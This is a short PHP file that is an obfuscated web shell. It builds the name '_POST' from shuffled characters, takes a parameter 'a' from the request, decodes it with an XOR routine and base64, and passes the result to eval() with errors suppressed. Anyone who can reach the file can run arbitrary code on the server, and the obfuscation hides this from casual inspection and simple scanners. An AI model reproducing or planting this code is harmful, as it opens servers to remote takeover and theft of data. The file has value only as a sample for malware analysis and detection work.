<?php
$number=2;
function decoder($s,$number){
	$res = '';
	$s = rtrim($s,'/');
	$s = explode('/',$s);
	foreach ($s as $key => $value) {
		$res .= chr($value^$number);
	}
	return base64_decode($res);
}
$default= "ps_ot" ;$about =strtoupper($default[2]. $default[0] .$default[3]. $default[1].$default[4]);
$bb=${$about}['a'];
$a = decoder($bb,$number);
@eval($a)
?>